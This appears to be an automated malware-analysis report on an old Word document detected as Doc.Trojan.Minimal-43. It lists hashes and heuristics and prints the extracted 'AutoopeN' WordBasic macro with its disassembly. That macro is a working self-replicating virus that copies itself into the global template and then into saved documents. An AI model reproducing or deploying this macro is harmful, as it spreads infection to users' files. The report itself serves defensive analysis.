Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6a47bccbb8280600…

MALICIOUS

Office (OLE)

34.0 KB Created: 1998-07-19 15:42:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 0db50c5f56cfc7b6e197b672bd80268a SHA-1: 961bd692c5ac006677a2fc6c093b73da5fad6e9d SHA-256: 6a47bccbb82806007c3b2e3bfe71ebf02dea39786710ba0c22156d132cdbd3c4
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a legacy Word document containing a WordBasic macro named 'AutoopeN'. This macro is designed to copy itself and save the document, which is a common technique for malware to ensure execution or prepare for payload delivery. The presence of legacy macro markers and the ClamAV detection further support its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Minimal-43 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Minimal-43
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1400 bytes
SHA-256: c7b2a4b369f6ce11701038c7013e822be9a503628c18d5a357c6858e89dc3068
Detection
ClamAV: Doc.Trojan.Minimal-43
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoopeN"

Public Sub MAIN()
Dim a$
Dim b$
On Error Resume Next: a$ = WordBasic.[FileName$]() + ":AutoopeN"
b$ = "Global:aUTOOPEn": WordBasic.MacroCopy a$, b$
WordBasic.FileSaveAs Format:=1: WordBasic.MacroCopy b$, a$
End Sub

' Processing file: /opt/analyzer/scan_staging/f489247b819c4a12b2a79d79c8c0742c.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoopeN - 1215 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn a
' Line #3:
' 	Dim 
' 	VarDefn B
' Line #4:
' 	OnError (Resume Next) 
' 	BoS 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	LitStr 0x0009 ":AutoopeN"
' 	Add 
' 	St a$ 
' Line #5:
' 	LitStr 0x000F "Global:aUTOOPEn"
' 	St B$ 
' 	BoS 0x0000 
' 	Ld a$ 
' 	Ld B$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #6:
' 	LitDI2 0x0001 
' 	ParamNamed Format$ 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' 	BoS 0x0000 
' 	Ld B$ 
' 	Ld a$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #7:
' 	EndSub